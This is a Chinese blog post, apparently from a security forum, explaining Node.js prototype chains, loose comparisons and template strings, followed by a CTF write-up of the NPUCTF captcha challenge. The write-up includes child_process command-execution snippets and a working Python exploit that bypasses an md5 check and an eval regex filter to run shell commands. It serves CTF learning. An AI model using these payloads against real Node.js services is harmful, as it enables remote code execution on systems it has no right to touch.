最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。

原型链

源自JavaScript的原型继承模型。

prototype(原型)

几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。js中只剩下对象,我们可以从一个函数中创建一个对象ob:

function testfn() {
    this.a = 1;
    this.b = 2;
}
var ob = new testfn()

而从原始类型中创建对象为:

a = "test";
b = 1;
c = false

这就是js被称为弱类型的原因,这一点与php、python类似,但又不相同,比如就null来说,php和python有一个专门的类型,对php来说是NULL类型,而python中没有null,取而代之的是none,同样的其为NontType;但对于js来说不一样,引一段代码来说话:

console.log(typeof(null))
//输出 object

而我们的null被称为原型对象,也就是万事万物的源点。

再谈谈js的数据类型,其大致分为两大类,一为基本类型,二为引用类型:

基本类型有:String、Number、boolean、null、undefined。

引用类型有:Object、Array、RegExp、Date、Function。

就数据类型来说,事实上也是JavaScript中的内置对象,也就是说JavaScript没有类的概念,只有对象。对于对象

来说,我们可以通过如下三种方式访问其原型:

function testfn() {
    this.a = 1;
    this.b = 2;
}
var ob = new testfn()
//function
console.log(testfn["__proto__"])
console.log(testfn.__proto__)
console.log(testfn.constructor.prototype)
//object
console.log(ob["__proto__"])
console.log(ob.__proto__)
console.log(ob.constructor.prototype)
//tip:
//ob.__proto__ == testfn.prototype

示例

下面再看一个关于prototype(原型)用法的例子:

Array.prototype.test = function test(){
    console.log("Come from prototype")
}
a = []
a.test()
//输出 Come from prototype

若是以java这种强类型语言对于类的定义来解释,我们可以把prototype看作是一个类的一个属性,而该属性指向了本类的父类, Array.prototype.test即是给父类的test添加了一个test方法,当任何通过Array实例化的对象都会拥有test方法,即子类继承父类的非私有属性,所以当重新定义了父类中的属性时,其他通过子类实例化的对象也会拥有该属性,只能说是类似于上述解释,但不可完全以上述解释来解释原型,因为js对于类的定义有些模糊。

console.log([].__proto__)
console.log([].__proto__.__proto__)
console.log([].__proto__.__proto__.__proto__)

其原型链如下:

[] -> Array -> Object -> null

原型链的网上资料很多就不多讲了。

弱类型

大小比较

这个类似与php,这个就很多啦,直接看代码示例理解更快:

console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false。

数组的比较:

console.log([]==[]); //false
console.log([]>[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。

还有一些比较特别的相等:

console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN)  // 输出:false
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

模块加载与命令执行

在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。

比赛中常见可以通过child_process模块来加载模块,获得exec,execfile,execSync。

  • 通过require加载模块如下:
require('child_process').exec('calc');
  • 通过global对象加载模块
global.process.mainModule.constructor._load('child_process').exec('calc');

对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,node的Function(...)并不能找到require这个函数。

有些情况下可以直接用require,如eval。

代码执行

eval("require('child_process').exec('calc');");
setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。

大小写特性

这个p神发过啦,简单易懂。

总结下来就是有两个奇特的字符"ı"、"ſ",还有一个K的加粗版,前两个用toUpperCase可以分别转为'I'和'S',后一个使用toLowerCase可以转为小写的k。

p神的文章:Fuzz中的javascript大小写特性

ES6模板字符串

我们可以使用反引号替代括号执行函数,如:

alert`test!!`

可以用反引号替代单引号双引号,可以在反引号内插入变量,如:

var fruit = "apple";
console.log`i like ${fruit} very much`;

事实上,模板字符串是将我们的字符串作为参数传入函数中,而该参数是一个数组,该数组会在遇到${}时将字符串进行分割,具体为下:

["i like ", " very much", raw: Array(2)]
0: "i like "
1: " very much"
length: 2
raw: (2) ["i like ", " very much"]
__proto__: Array(0)

所以有时使用反引号执行会失败,所以如下是无法执行的:

eval`alert(2)`

实战

这道题取自NPUCTF的验证码,发现这道题挺好,用来入门nodejs挺好,首先给出源码:

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

首先看到saferEval函数,我们看到只要绕过正则之后就可以利用在代码执行处所说的eval来执行代码;在此之前看看调用了saferEval的地方,这里要绕过就需要利用到前面说的弱类型了:

if (first && second && first.length === second.length && first!==second &&md5(first+keys[0]) === md5(second+keys[0]))

first和second都是我们可控的,这里要我们first和second不相等但长度又需要相等,同时还要在最后加上key之后进行md5要相等,要符合一系列条件较难,然而弱类型帮了一把。

md5处使用了变量的拼接,因此我们可以利用类似'a'+key[0]==['a']+key[0]进行绕过,而且关键在于first和second的比较使用了!===。这也给绕过提供了帮助。

抓包时候会发现是默认请求类型是x-www-form-urlencoded,无法传输数组,但因为这里使用了body-parser模块内的json,因此可以改下头application/json。

#-*- coding:utf-8 -*-
#__author__: HhhM
import requests
import json

print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}

data = json.dumps({'e': "1+1", "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)

输出为2,证明前面成功绕过了,接下来考虑saferEval,看看正则:

str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')

我们需要让我们的正则符合他的要求,利用前两个正则我们可以构造出如:
(Math)Math.xxx(xxx)

也支持使用arrow function(箭头函数),我们可以使用箭头函数配合Math通过原型获取到Function,使用我上面提到的Function,通过global一路调出来exec执行任意命令。

Math=>(Math=Math.constructor,Math.constructor)

这样虽然可以得到Function,但限于正则我们无法执行命令,这里绕过采用String.fromCharCode,String可以通过变量拼接拼接出一个字符串,再调用constructor获取到String对象。

因此exp如下:

#-*- coding:utf-8 -*-
#__author__: HhhM
import requests
import json
import re


def payload():
    s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
    return ','.join([str(ord(i)) for i in s])

a = payload()
print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)

一些无关紧要的点

  • let不能声明一个已经存在的变量,会导致报错,暂存死区了解一下。
  • console.log(typeof(NaN))输出为number。

点击收藏 | 5 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖